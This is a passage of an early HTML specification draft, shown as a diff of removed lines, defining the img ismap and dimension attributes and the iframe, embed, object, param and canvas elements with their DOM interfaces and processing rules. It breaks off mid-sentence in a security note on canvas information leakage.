-  <p>The <dfn id=ismap title=attr-img-ismap><code>ismap</code></dfn>
-   attribute, when used on an element that is a descendant of an <code><a
-   href="#a0">a</a></code> element with an <code title=attr-hyperlink-href><a
-   href="#href5">href</a></code> attribute, indicates by its presence that
-   the element is a <span>server-side image map</span>. This affects how
-   events are handled on the corresponding <code><a href="#a0">a</a></code>
-   element.
-
-  <p>The <code title=attr-img-ismap><a href="#ismap">ismap</a></code>
-   attribute, when present, must have the value <code title="">ismap</code>.
-   The attribute must not be specified on an element that does not have an
-   ancestor <code><a href="#a0">a</a></code> element.
-
-  <p>The <dfn id=height title=attr-img-height><code>height</code></dfn> and
-   <dfn id=width title=attr-img-width><code>width</code></dfn> attributes
-   give the preferred rendered dimensions of the image if the image is to be
-   shown in a visual medium.
-
-  <p class=big-issue>Should we require the dimensions to be correct? Should
-   we disallow percentages?
-
-  <p>The values of the <code title=attr-img-height><a
-   href="#height">height</a></code> and <code title=attr-img-width><a
-   href="#width">width</a></code> attributes must be either <a href="#valid"
-   title="valid non-negative integer">valid non-negative integers</a> or <a
-   href="#valid3" title="valid non-negative percentage">valid non-negative
-   percentages</a>.
-
-  <p>To parse the attributes, user agents must use the <a
-   href="#rules2">rules for parsing dimension values</a>. This will return
-   either an integer length, a percentage value, or nothing. When one of
-   these attributes has no value, it must be
-   <span>ignored</span><!-- XXX xref -->.
-
-  <p>The user agent requirements for processing the values obtained from
-   parsing these attributes are described <a href="#sizing" title="sizing of
-   embedded content">in the rendering section</a><!-- XXX xref
-  -->.
-
-  <p>The <code><a href="#img0">img</a></code> element must be empty.</p>
-  <!-- contents
-  should be ignored for rendering but not for semantics,
-  e.g. <script>, <input>, etc. -->
-
-  <p>The DOM attributes <dfn id=alt0
-   title=dom-img-alt><code>alt</code></dfn>, <dfn id=src0
-   title=dom-img-src><code>src</code></dfn>, <dfn id=usemap
-   title=dom-img-useMap><code>useMap</code></dfn>, and <dfn id=ismap0
-   title=dom-img-isMap><code>isMap</code></dfn> each must <a
-   href="#reflect">reflect</a> the respective content attributes of the same
-   name.
-
-  <p>The DOM attributes <dfn id=height0
-   title=dom-img-height><code>height</code></dfn> and <dfn id=width0
-   title=dom-img-width><code>width</code></dfn> must return the rendered
-   height and width of the image, in CSS pixels, if the image is being
-   rendered, and is being rendered to a visual medium, or 0 otherwise. <a
-   href="#refsCSS21">[CSS21]</a>
-
-  <p>The DOM attribute <dfn id=complete
-   title=dom-img-complete><code>complete</code></dfn> must return true if the
-   user agent has downloaded the image specified in the <code
-   title=attr-img-src><a href="#src">src</a></code> attribute, and it is a
-   valid image.
-
-  <h4 id=the-iframe><span class=secno>3.14.2. </span>The <dfn
-   id=iframe0><code>iframe</code></dfn> element</h4>
-
-  <p><span title="Strictly inline-level elements">Strictly
-   inline-level</span> <a href="#embedded0">embedded content</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>As the only <a href="#embedded0">embedded content</a> child of a
-    <code><a href="#figure0">figure</a></code> element.
-
-   <dd>Where <a href="#strictly">strictly inline-level content</a> is
-    allowed.
-
-   <dt>Content model:
-
-   <dd>Text (for details, see prose).
-
-   <dt>Element-specific attributes:
-
-   <dd><code title=attr-iframe-src><a href="#src1">src</a></code>
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>
-    <pre
-     class=idl>interface <dfn id=htmliframeelement>HTMLIFrameElement</dfn> : <a href="#htmlelement">HTMLElement</a> {
-           attribute DOMString <a href="#src2" title=dom-iframe-src>src</a>;<!--
-  readonly attribute Document <span title="dom-iframe-contentDocument">contentDocument</span>;
-  readonly attribute Window <span title="dom-iframe-contentWindow">contentWindow</span>;-->
-};</pre>
-
-    <p>Objects implementing the <code><a
-     href="#htmliframeelement">HTMLIFrameElement</a></code> interface must
-     also implement the <code>EmbeddingElement</code> interface defined in
-     the Window Object specification. <a href="#refsWINDOW">[WINDOW]</a></p>
-  </dl>
-
-  <p>The <code><a href="#iframe0">iframe</a></code> element introduces a new
-   nested <a href="#browsing">browsing context</a>.
-
-  <p>The <dfn id=src1 title=attr-iframe-src><code>src</code></dfn> attribute,
-   if present, must be a valid URI (or IRI) to a page that the nested <a
-   href="#browsing">browsing context</a> is to contain. If the user navigates
-   away from this page, the <code><a href="#iframe0">iframe</a></code>'s
-   corresponding <code>Window</code> object will reference new
-   <code>Document</code> objects, but the <code title=attr-iframe-src><a
-   href="#src1">src</a></code> attribute will not change.
-
-  <p>Whenever the <code title=attr-iframe-src><a href="#src1">src</a></code>
-   attribute is set, the nested <a href="#browsing">browsing context</a> must
-   be <span>navigated</span><!-- XXX xref --> to the given URI.
-
-  <p>The default value, which must be used if the <code
-   title=attr-iframe-src><a href="#src1">src</a></code> attribute is not set
-   when the element is created, or if the attribute is ever removed, is
-   <code>about:blank</code><!-- XXX xref -->.
-
-  <p>When content loads in an <code><a href="#iframe0">iframe</a></code>, the
-   user agent must <a href="#firing4">fire a <code
-   title=event-load>load</code> event</a> at the <code><a
-   href="#iframe0">iframe</a></code> element. When content fails to load
-   (e.g. due to a network error), then the user agent must <a
-   href="#firing5">fire an <code title=event-error>error</code> event</a>
-   instead.
-
-  <p class=big-issue>order of events when content is also firing its own
-   load/error?
-
-  <p>An <code><a href="#iframe0">iframe</a></code> element never has <a
-   href="#fallback">fallback content</a>, as it will always create a nested
-   <a href="#browsing">browsing context</a>, regardless of whether the
-   specified initial contents are successfully used.
-
-  <p><code><a href="#iframe0">iframe</a></code> elements may contain any
-   text. <code><a href="#iframe0">iframe</a></code> elements must not contain
-   element nodes. Descendants of <code><a href="#iframe0">iframe</a></code>
-   elements represent nothing. (In legacy user agents that do not support
-   <code><a href="#iframe0">iframe</a></code> elements, the contents would be
-   parsed as markup that could act as fallback content.)
-
-  <p class=big-issue>restrictions for what that text must be?
-
-  <p class=note>The <a href="#html-0">HTML parser</a> treats markup inside
-   <code><a href="#iframe0">iframe</a></code> elements as text.
-
-  <p>The DOM attribute <dfn id=src2
-   title=dom-iframe-src><code>src</code></dfn> must <a
-   href="#reflect">reflect</a> the content attribute of the same name.
-
-  <h4 id=the-embed><span class=secno>3.14.3. </span>The <dfn
-   id=embed0><code>embed</code></dfn> element</h4>
-
-  <p><span title="Strictly inline-level elements">Strictly
-   inline-level</span> <a href="#embedded0">embedded content</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>As the only <a href="#embedded0">embedded content</a> child of a
-    <code><a href="#figure0">figure</a></code> element.
-
-   <dd>Where <a href="#strictly">strictly inline-level content</a> is
-    allowed.
-
-   <dt>Content model:
-
-   <dd>Empty.
-
-   <dt>Element-specific attributes:
-
-   <dd><code title=attr-embed-src><a href="#src3">src</a></code> (required)
-
-   <dd><code title=attr-embed-type><a href="#type4">type</a></code>
-
-   <dd><code title=attr-embed-height>height</code>
-
-   <dd><code title=attr-embed-width>width</code>
-
-   <dd>Any other attribute that has no namespace (see prose).
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>
-    <pre
-     class=idl>interface <dfn id=htmlembedelement>HTMLEmbedElement</dfn> : <a href="#htmlelement">HTMLElement</a> {
-           attribute DOMString <a href="#src4" title=dom-embed-src>src</a>;
-           attribute DOMString <a href="#type5" title=dom-embed-type>type</a>;
-           attribute long <a href="#height1" title=dom-embed-height>height</a>;
-           attribute long <a href="#width1" title=dom-embed-width>width</a>;
-};</pre>
-
-    <p>Depending on the type of content instantiated by the <code><a
-     href="#embed0">embed</a></code> element, the node may also support other
-     interfaces.</p>
-  </dl>
-
-  <p>The <code><a href="#embed0">embed</a></code> element represents an
-   integration point for an external (typically non-HTML) application or
-   interactive content.
-
-  <p>The <dfn id=src3 title=attr-embed-src><code>src</code></dfn> attribute
-   gives the address of the resource being embedded. The attribute must be
-   present and contain a URI (or IRI).
-
-  <p>If the <code title=attr-embed-src><a href="#src3">src</a></code>
-   attribute is missing, then the <code><a href="#embed0">embed</a></code>
-   element must be ignored.
-
-  <p>When the <code title=attr-embed-src><a href="#src3">src</a></code>
-   attribute is set, user agents are expected to find an appropriate handler
-   for the specified resource, based on the <a href="#type-of"
-   title=concept-embed-type>content's type</a>, and hand that handler the
-   content of the resource. If the handler supports a scriptable interface,
-   the <code><a href="#htmlembedelement">HTMLEmbedElement</a></code> object
-   representing the element should expose that interfaces.
-
-  <p>The user agent should pass the names and values of all the attributes of
-   the <code><a href="#embed0">embed</a></code> element that have no
-   namespace to the handler used. Any (namespace-less) attribute may be
-   specified on the <code><a href="#embed0">embed</a></code> element.</p>
-  <!-- duplicates what's in <object> section below -->
-
-  <p class=note>This specification does not define a mechanism for
-   interacting with third-party handlers, as it is expected to be
-   user-agent-specific. Some UAs might opt to support a plugin mechanism such
-   as the Netscape Plugin API; others may use remote content convertors or
-   have built-in support for certain types. <a href="#refsNPAPI">[NPAPI]</a>
-
-  <p>The <code><a href="#embed0">embed</a></code> element has no <a
-   href="#fallback">fallback content</a>. If the user agent can't display the
-   specified resource, e.g. because the given type is not supported, then the
-   user agent must use a default handler for the content. (This default could
-   be as simple as saying "Unsupported Format", of course.)</p>
-  <!-- XXX we really should factor out the common parts of type
-  handling; at least the parsing and handling of parameters -->
-
-  <p>The <dfn id=type4 title=attr-embed-type><code>type</code></dfn>
-   attribute, if present, gives the MIME type of the linked resource. The
-   value must be a valid MIME type, optionally with parameters. <a
-   href="#refsRFC2046">[RFC2046]</a>
-
-  <p>The <dfn id=type-of title=concept-embed-type>type of the content</dfn>
-   being embedded is defined as follows:
-
-  <ol>
-   <li>If the element has a <code title=attr-link-type><a
-    href="#type">type</a></code> attribute, then the value of the <code
-    title=attr-link-type><a href="#type">type</a></code> attribute is the
-    <span>content's type</span>.
-
-   <li>Otherwise, if the specified resource has <a href="#content-type1"
-    title=Content-Type>explicit type metadata</a>, then that is the
-    <span>content's type</span>.
-
-   <li>Otherwise, the content has no type and there can be no appropriate
-    handler for it.
-  </ol>
-
-  <p class=big-issue>Should we instead say that the content-sniffing that
-   we're going to define for top-level browsing contexts should apply here?
-
-  <p class=big-issue>Should we require the type attribute to match the server
-   information?
-
-  <p class=big-issue>We should say that 404s, etc, don't affect whether the
-   resource is used or not. Not sure how to say it here though.
-
-  <p>Browsers should take extreme care when interacting with external content
-   intended for third-party renderers. When third-party software is run with
-   the same privileges as the user agent itself, vulnerabilities in the
-   third-party software become as dangerous as those in the user agent.
-
-  <p class=big-issue>height/width
-
-  <p>The DOM attributes <dfn id=src4
-   title=dom-embed-src><code>src</code></dfn> and <dfn id=type5
-   title=dom-embed-type><code>type</code></dfn> each must <a
-   href="#reflect">reflect</a> the respective content attributes of the same
-   name.
-
-  <p>The DOM attributes <dfn id=height1
-   title=dom-embed-height><code>height</code></dfn> and <dfn id=width1
-   title=dom-embed-width><code>width</code></dfn> must return the rendered
-   height and width of the image, in CSS pixels, if the image is being
-   rendered, and is being rendered to a visual medium, or 0 otherwise. <a
-   href="#refsCSS21">[CSS21]</a>
-
-  <h4 id=the-object><span class=secno>3.14.4. </span>The <dfn
-   id=object0><code>object</code></dfn> element</h4>
-
-  <p><span title="Strictly inline-level elements">Strictly
-   inline-level</span> <a href="#embedded0">embedded content</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>As the only <a href="#embedded0">embedded content</a> child of a
-    <code><a href="#figure0">figure</a></code> element.
-
-   <dd>Where <a href="#strictly">strictly inline-level content</a> is
-    allowed.
-
-   <dt>Content model:
-
-   <dd>When used as the child of a <code><a href="#figure0">figure</a></code>
-    element, or, when used as a <em><code><a
-    href="#figure0">figure</a></code> fallback <code><a
-    href="#object0">object</a></code></em>: Zero or more <code><a
-    href="#param0">param</a></code> elements, followed by either zero or more
-    <a href="#block-level1">block-level elements</a> or a single <code><a
-    href="#object0">object</a></code> element, which is then considered to be
-    a <em><code><a href="#figure0">figure</a></code> fallback <code><a
-    href="#object0">object</a></code></em>.
-
-   <dd>Otherwise: Zero or more <code><a href="#param0">param</a></code>
-    elements, followed by <a href="#inline-level1">inline-level content</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd><code title=attr-object-data><a href="#data">data</a></code> (required
-    if <code title=attr-object-type><a href="#type6">type</a></code> is not
-    given)
-
-   <dd><code title=attr-object-type><a href="#type6">type</a></code>
-    (required if <code title=attr-object-data><a href="#data">data</a></code>
-    is not given)
-
-   <dd><code title=attr-hyperlink-usemap><a href="#usemap1">usemap</a></code>
-
-   <dd><code title=attr-object-height>height</code>
-
-   <dd><code title=attr-object-width>width</code>
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>
-    <pre
-     class=idl>interface <dfn id=htmlobjectelement>HTMLObjectElement</dfn> : <a href="#htmlelement">HTMLElement</a> {
-           attribute DOMString <a href="#data0" title=dom-object-data>data</a>;
-           attribute DOMString <a href="#type7" title=dom-object-type>type</a>;
-           attribute DOMString <a href="#usemap0" title=dom-object-useMap>useMap</a>;
-           attribute long <a href="#height2" title=dom-object-height>height</a>;
-           attribute long <a href="#width2" title=dom-object-width>width</a>;<!--
-  readonly attribute Document <span title="dom-object-contentDocument">contentDocument</span>;
-  readonly attribute Window <span title="dom-object-contentWindow">contentWindow</span>;-->
-};</pre>
-
-    <p>Objects implementing the <code><a
-     href="#htmlobjectelement">HTMLObjectElement</a></code> interface must
-     also implement the <code>EmbeddingElement</code> interface defined in
-     the Window Object specification. <a href="#refsWINDOW">[WINDOW]</a></p>
-
-    <p>Depending on the type of content instantiated by the <code><a
-     href="#object0">object</a></code> element, the node may also support
-     other interfaces.</p>
-  </dl>
-
-  <p class=big-issue>Shouldn't allow inline-level content to be the content
-   model when the parent's content model is strictly inline only.
-
-  <p>The <code><a href="#object0">object</a></code> element can represent an
-   external resource, which, depending on the type of the resource, will
-   either be treated as an image, as a nested <a href="#browsing">browsing
-   context</a>, or as an external resource to be processed by a third-party
-   software package.
-
-  <p>The <dfn id=data title=attr-object-data><code>data</code></dfn>
-   attribute, if present, specifies the URI of the resource. If present, the
-   attribute must be a valid URI.
-
-  <p>The <dfn id=type6 title=attr-object-type><code>type</code></dfn>
-   attribute, if present, specifies the type of the resource. If present, the
-   attribute must be a valid MIME type, optionally with parameters. <a
-   href="#refsRFC2046">[RFC2046]</a>
-
-  <p>One or both of the <code title=attr-object-data><a
-   href="#data">data</a></code> and <code title=attr-object-type><a
-   href="#type6">type</a></code> attributes must be present.
-
-  <p>Whenever the <code title=attr-object-data><a
-   href="#data">data</a></code> attribute changes, or, if the <code
-   title=attr-object-data><a href="#data">data</a></code> attribute is not
-   present, whenever the <code title=attr-object-type><a
-   href="#type6">type</a></code> attribute changes, the user agent must
-   follow the following steps to determine what the <code><a
-   href="#object0">object</a></code> element represents:
-
-  <ol>
-   <li>
-    <p>If the <code title=attr-object-data><a href="#data">data</a></code>
-     attribute is present, then:</p>
-
-    <ol>
-     <li>
-      <p>Begin a load for the resource.
-     </li>
-     <!-- XXX define
-     that -->
-     <!-- XXX xref -->
-
-     <li>
-      <p>If the resource is not yet available (e.g. because the resource was
-       not available in the cache, so that loading the resource required
-       making a request over the network), then jump to step 3 in the overall
-       set of steps (fallback). When the resource becomes available, or if
-       the load fails, restart this algorithm from this step. Resources can
-       load incrementally; user agents may opt to consider a resource
-       "available" whenever enough data has been obtained to begin processing
-       the resource.
-
-     <li>
-      <p>If the load failed (e.g. DNS error), <a href="#firing5">fire an
-       <code title=event-error>error</code> event</a>, then jump to step 3 in
-       the overall set of steps (fallback).
-
-     <li>
-      <p>Determine the <em>resource type</em>, as follows:</p>
-
-      <dl class=switch>
-       <dt>If the resource has <a href="#content-type1"
-        title=Content-Type>associated Content-Type metadata</a>
-
-       <dd>The type is the type specified in <a href="#content-type1"
-        title=Content-Type>the resource's Content-Type metadata</a>.
-
-       <dt>Otherwise, if the <code title=attr-object-type><a
-        href="#type6">type</a></code> attribute is present
-
-       <dd>The type is the type specified in the <code
-        title=attr-object-type><a href="#type6">type</a></code> attribute.
-
-       <dt>Otherwise, there is no explicit type information
-
-       <dd class=big-issue>Sniffing. Default.
-      </dl>
-
-     <li>
-      <p>Handle the content as given by the first of the following cases that
-       matches:</p>
-
-      <dl class=switch>
-       <dt>If the resource requires a special handler (e.g. a plugin)
-
-       <dd>
-        <p>The user agent should find an appropriate handler for the
-         specified resource, based on the <em>resource type</em> found in the
-         previous step, and pass the content of the resource to that handler.
-         If the handler supports a scriptable interface, the <code><a
-         href="#htmlobjectelement">HTMLObjectElement</a></code> object
-         representing the element should expose that interface. The handler
-         is not a nested <a href="#browsing">browsing context</a>. If no
-         appropriate handler can be found, then jump to step 3 in the overall
-         set of steps (fallback).</p>
-
-        <p>The user agent should pass the names and values of all the <span
-         title=concept-param-parameter>parameters</span> given by <code><a
-         href="#param0">param</a></code> elements that are children of the
-         <code><a href="#object0">object</a></code> element to the handler
-         used.</p>
-        <!-- duplicates what's in <embed> section above -->
-        <p class=note>This specification does not define a mechanism for
-         interacting with third-party handlers, as it is expected to be
-         user-agent-specific. Some UAs might opt to support a plugin
-         mechanism such as the Netscape Plugin API; others may use remote
-         content convertors or have built-in support for certain types. <a
-         href="#refsNPAPI">[NPAPI]</a></p>
-
-       <dt>If the type of the resource is an <span>XML MIME
-        type</span><!-- XXX xref -->
-
-       <dt>If the type of the resource is HTML
-
-       <dt>If the type of the resource does not start with
-        "<code>image/</code>"
-
-       <dd>
-        <p>The <code><a href="#object0">object</a></code> element must be
-         associated with a nested <a href="#browsing">browsing context</a>,
-         if it does not already have one. The element's nested <a
-         href="#browsing">browsing context</a> must then be
-         <span>navigated</span> to the given resource. (The <code
-         title=attr-object-data><a href="#data">data</a></code> attribute of
-         the <code><a href="#object0">object</a></code> element doesn't get
-         updated if the browsing context gets further navigated to other
-         locations.)</p>
-
-       <dt>If the resource is a supported image format, and support for
-        images has not been disabled
-
-       <dd>
-        <p>The <code><a href="#object0">object</a></code> element represents
-         the specified image. The image is not a nested <a
-         href="#browsing">browsing context</a>.</p>
-
-       <dt>Otherwise
-
-       <dd>
-        <p>The <code><a href="#object0">object</a></code> element represents
-         the specified image, but the image cannot be shown. Jump to step 3
-         below in the overall set of steps (fallback).</p>
-      </dl>
-
-     <li>
-      <p>The element's contents are not part of what the <code><a
-       href="#object0">object</a></code> element represents.</p>
-
-     <li>
-      <p>Once the resource is completely loaded, <a href="#firing4">fire a
-       <code title=event-load>load</code> event</a>.
-     </li>
-     <!-- XXX
-     ordering of events (like with iframe) -->
-    </ol>
-
-   <li>
-    <p>If the <code title=attr-object-data><a href="#data">data</a></code>
-     attribute is absent but the <code title=attr-object-type><a
-     href="#type6">type</a></code> attribute is present, and if the user
-     agent can find a handler suitable according to the value of the <code
-     title=attr-object-type><a href="#type6">type</a></code> attribute, then
-     that handler should be used. If the handler supports a scriptable
-     interface, the <code><a
-     href="#htmlobjectelement">HTMLObjectElement</a></code> object
-     representing the element should expose that interface. The handler is
-     not a nested <a href="#browsing">browsing context</a>. If no suitable
-     handler can be found, jump to the next step (fallback).
-
-   <li>
-    <p>(Fallback.) The <code><a href="#object0">object</a></code> element
-     doesn't represent anything except what the element's contents represent,
-     ignoring any leading <code><a href="#param0">param</a></code> element
-     children. This is the element's <a href="#fallback">fallback
-     content</a>.
-  </ol>
-
-  <p>In the absence of other factors (such as style sheets), user agents must
-   show the user what the <code><a href="#object0">object</a></code> element
-   represents. Thus, the contents of <code><a
-   href="#object0">object</a></code> elements act as <a
-   href="#fallback">fallback content</a>, to be used only when referenced
-   resources can't be shown (e.g. because it returned a 404 error). This
-   allows multiple <code><a href="#object0">object</a></code> elements to be
-   nested inside each other, targetting multiple user agents with different
-   capabilities, with the user agent picking the best one it supports.
-
-  <p>The <code title=attr-hyperlink-usemap><a
-   href="#usemap1">usemap</a></code> attribute, if present while the <code><a
-   href="#object0">object</a></code> element represents an image, can
-   indicate that the object has an associated <a href="#image">image map</a>.
-   The attribute must be ignored if the <code><a
-   href="#object0">object</a></code> element doesn't represent an image.
-
-  <p class=big-issue>height/width
-
-  <p>The DOM attributes <dfn id=data0
-   title=dom-object-data><code>data</code></dfn>, <dfn id=type7
-   title=dom-object-type><code>type</code></dfn>, <dfn id=usemap0
-   title=dom-object-useMap><code>useMap</code></dfn>, <dfn id=height2
-   title=dom-object-height><code>height</code></dfn>, and <dfn id=width2
-   title=dom-object-width><code>width</code></dfn> each must <a
-   href="#reflect">reflect</a> the respective content attributes of the same
-   name.
-
-  <h4 id=the-param><span class=secno>3.14.5. </span>The <dfn
-   id=param0><code>param</code></dfn> element</h4>
-  <!-- no type -->
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>As a child of an <code><a href="#object0">object</a></code> element,
-    before any content other than <code><a href="#param0">param</a></code>
-    elements.
-
-   <dt>Content model:
-
-   <dd>Empty.
-
-   <dt>Element-specific attributes:
-
-   <dd><code title=attr-param-name><a href="#name1">name</a></code>
-    (required)
-
-   <dd><code title=attr-param-value><a href="#value5">value</a></code>
-    (required)
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>
-    <pre
-     class=idl>interface <dfn id=htmlparamelement>HTMLParamElement</dfn> : <a href="#htmlelement">HTMLElement</a> {
-           attribute DOMString <a href="#name2" title=dom-param-name>name</a>;
-           attribute DOMString <span title=dom-param-value>value</span>;
-};</pre>
-  </dl>
-
-  <p>The <code><a href="#param0">param</a></code> element defines parameters
-   for handlers invoked by <code><a href="#object0">object</a></code>
-   elements.
-
-  <p>The <dfn id=name1 title=attr-param-name><code>name</code></dfn>
-   attribute gives the name of the parameter.
-
-  <p>The <dfn id=value5 title=attr-param-value><code>value</code></dfn>
-   attribute gives the value of the parameter.
-
-  <p>Both attributes must be present. They may have any value.
-
-  <p>If both attributes are present, and if the parent element of the
-   <code><a href="#param0">param</a></code> is an <code><a
-   href="#object0">object</a></code> element, then the element defines a <dfn
-   id=parameter title=concept-param-parameters>parameter</dfn> with the given
-   name/value pair.
-
-  <p>The DOM attributes <dfn id=name2
-   title=dom-param-name><code>name</code></dfn> and <dfn id=value6
-   title=dom-name-value><code>value</code></dfn> must both <a
-   href="#reflect">reflect</a> the respective content attributes of the same
-   name.
-
-  <h4 id=the-canvas><span class=secno>3.14.6. </span>The <dfn
-   id=canvas><code>canvas</code></dfn> element</h4>
-
-  <p><span title="Strictly inline-level elements">Strictly
-   inline-level</span> <a href="#embedded0">embedded content</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>As the only <a href="#embedded0">embedded content</a> child of a
-    <code><a href="#figure0">figure</a></code> element.
-
-   <dd>Where <a href="#strictly">strictly inline-level content</a> is
-    allowed.
-
-   <dt>Content model:
-
-   <dd><a href="#inline-level1">Inline-level content</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd><code title=attr-canvas-height><a href="#height3">height</a></code>
-
-   <dd><code title=attr-canvas-width><a href="#width3">width</a></code>
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>
-    <pre
-     class=idl>interface <dfn id=htmlcanvaselement>HTMLCanvasElement</dfn> : <a href="#htmlelement">HTMLElement</a> {
-         attribute long <a href="#width4" title=dom-canvas-width>width</a>;
-         attribute long <a href="#height4" title=dom-canvas-height>height</a>;
-
-  DOMString <a href="#todataurl" title=dom-canvas-toDataURL>toDataURL()</a>;
-  DOMString <a href="#todataurl0" title=dom-canvas-toDataURL-type>toDataURL</a>(in DOMString type);
-
-  DOMObject <a href="#getcontext" title=dom-canvas-getContext>getContext</a>(in DOMString contextID);
-};</pre>
-  </dl>
-
-  <p class=big-issue>Shouldn't allow inline-level content to be the content
-   model when the parent's content model is strictly inline only.
-
-  <p>The <code><a href="#canvas">canvas</a></code> element represents a
-   resolution-dependent bitmap canvas, which can be used for rendering
-   graphs, game graphics, or other visual images on the fly.
-
-  <p>Authors should not use the <code><a href="#canvas">canvas</a></code>
-   element in a document when a more suitable element is available. For
-   example, it is inappropriate to use a <code><a
-   href="#canvas">canvas</a></code> element to render a page heading: if the
-   desired presentation of the heading is graphically intense, it should be
-   marked up using appropriate elements (typically <code><a
-   href="#h10">h1</a></code>) and then styled using CSS and supporting
-   technologies such as XBL.
-
-  <p>When authors use the <code><a href="#canvas">canvas</a></code> element,
-   they should also provide content that, when presented to the user, conveys
-   essentially the same function or purpose as the bitmap canvas. This
-   content may be placed as content of the <code><a
-   href="#canvas">canvas</a></code> element. The contents of the <code><a
-   href="#canvas">canvas</a></code> element, if any, are the element's <a
-   href="#fallback">fallback content</a>.
-
-  <p>In interactive visual media with <span>scripting enabled</span>, the
-   canvas element is an embedded element with a dynamically created image.
-
-  <p>In non-interactive, static, visual media, if the <code><a
-   href="#canvas">canvas</a></code> element has been previously painted on
-   (e.g. if the page was viewed in an interactive visual medium and is now
-   being printed, or if some script that ran during the page layout process
-   painted on the element), then the <code><a
-   href="#canvas">canvas</a></code> element must be treated as embedded
-   content with the current image and size. Otherwise, the element's fallback
-   content must be used instead.
-
-  <p>In non-visual media, and in visual media with <span>scripting
-   disabled</span>, the <code><a href="#canvas">canvas</a></code> element's
-   fallback content must be used instead.
-
-  <p>The <code><a href="#canvas">canvas</a></code> element has two attributes
-   to control the size of the coordinate space: <dfn id=height3
-   title=attr-canvas-height><code>height</code></dfn> and <dfn id=width3
-   title=attr-canvas-width><code>width</code></dfn>. These attributes, when
-   specified, must have values that are <a href="#valid" title="valid
-   non-negative integer">valid non-negative integers</a>. The <a
-   href="#rules">rules for parsing non-negative integers</a> must be used to
-   obtain their numeric values. If an attribute is missing, or if parsing its
-   value returns an error, then the default value must be used instead. The
-   <code>width</code> attribute defaults to 300, and the <code>height</code>
-   attribute defaults to 150.
-
-  <p>The intrinsic dimensions of the <code><a
-   href="#canvas">canvas</a></code> element equal the size of the coordinate
-   space, with the numbers interpreted in CSS pixels. However, the element
-   can be sized arbitrarily by a style sheet. During rendering, the image is
-   scaled to fit this layout size.
-
-  <p>The size of the coordinate space does not necessarily represent the size
-   of the actual bitmap that the user agent will use internally or during
-   rendering. On high-definition displays, for instance, the user agent may
-   internally use a bitmap with two device pixels per unit in the coordinate
-   space, so that the rendering remains at high quality throughout.
-
-  <p>The canvas must initially be fully transparent black.
-
-  <p>If the <code title=attr-canvas-width><a href="#width3">width</a></code>
-   and <code title=attr-canvas-height><a href="#height3">height</a></code>
-   attributes are dynamically modified, the bitmap and any associated
-   contexts must be cleared back to their initial state and reinitialised
-   with the newly specified coordinate space dimensions.
-
-  <p>The <dfn id=width4 title=dom-canvas-width><code>width</code></dfn> and
-   <dfn id=height4 title=dom-canvas-height><code>height</code></dfn> DOM
-   attributes must <a href="#reflect">reflect</a> the content attributes of
-   the same name.
-
-  <p>To draw on the canvas, authors must first obtain a reference to a <dfn
-   id=context1>context</dfn> using the <dfn id=getcontext
-   title=dom-canvas-getContext><code>getContext</code></dfn> method of the
-   <code><a href="#canvas">canvas</a></code> element.
-
-  <p>This specification only defines one context, with the name "<code
-   title=canvas-context-2d><a href="#d">2d</a></code>". If <code
-   title=dom-canvas-getContext><a href="#getcontext">getContext()</a></code>
-   is called with that exact string, then the UA must return a reference to
-   an object implementing <code><a
-   href="#canvasrenderingcontext2d">CanvasRenderingContext2D</a></code>.
-   Other specifications may define their own contexts, which would return
-   different objects.
-
-  <p>Vendors may also define experimental contexts using the syntax
-   <code><var title="">vendorname</var>-<var title="">context</var></code>,
-   for example, <code>moz-3d</code>.
-
-  <p>When the UA is passed an empty string or a string specifying a context
-   that it does not support, then it must return null. String comparisons
-   should be literal and case-sensitive.
-
-  <p class=note>A future version of this specification will probably define a
-   <code>3d</code> context (probably based on the OpenGL ES API).
-
-  <p>The <dfn id=todataurl
-   title=dom-canvas-toDataURL><code>toDataURL()</code></dfn> method must,
-   when called with no arguments, return a <code title="">data:</code> URI
-   containing a representation of the image as a PNG file. <a
-   href="#refsPNG">[PNG]</a>.
-
-  <p>The <dfn id=todataurl0
-   title=dom-canvas-toDataURL-type><code>toDataURL(<var
-   title="">type</var>)</code></dfn> method (when called with one <em>or
-   more</em> arguments) must return a <code>data:</code> URI containing a
-   representation of the image in the format given by <var
-   title="">type</var>. The possible values are MIME types with no
-   parameters, for example <code>image/png</code>, <code>image/jpeg</code>,
-   or even maybe <code>image/svg+xml</code> if the implementation actually
-   keeps enough information to reliably render an SVG image from the canvas.
-
-  <p>Only support for <code>image/png</code> is required. User agents may
-   support other types. If the user agent does not support the requested
-   type, it must return the image using the PNG format.
-
-  <p>User agents must convert the provided type to lower case before
-   establishing if they support that type and before creating the
-   <code>data:</code> URL.</p>
-  <!-- XXX define "convert to lower case"
-  -->
-
-  <p class=note>When trying to use types other than <code>image/png</code>,
-   authors can check if the image was really returned in the requested format
-   by checking to see if the returned string starts with one the exact
-   strings "<code title="">data:image/png,</code>" or "<code
-   title="">data:image/png;</code>". If it does, the image is PNG, and thus
-   the requested type was not supported.
-
-  <p>Arguments other than the <var title="">type</var> must be ignored, and
-   must not cause the user agent to raise an exception (as would normally
-   occur if a method was called with the wrong number of arguments). A future
-   version of this specification will probably allow extra parameters to be
-   passed to <code title=dom-canvas-toDataURL><a
-   href="#todataurl">toDataURL()</a></code> to allow authors to more
-   carefully control compression settings, image metadata, etc.
-
-  <p><strong>Security:</strong> To prevent <em>information leakage</em>, the
-   <code title=dom-canvas-toDataURL><a
-   href="#todataurl">toDataURL()</a></code> and <code
-   title=dom-context-2d-getImageData><a
-   href="#getimagedata">getImageData()</a></code> methods should raise a <a
-   href="#security2">security exception</a> if the canvas ever had images
-   painted on it that originate from a domain other than the <a
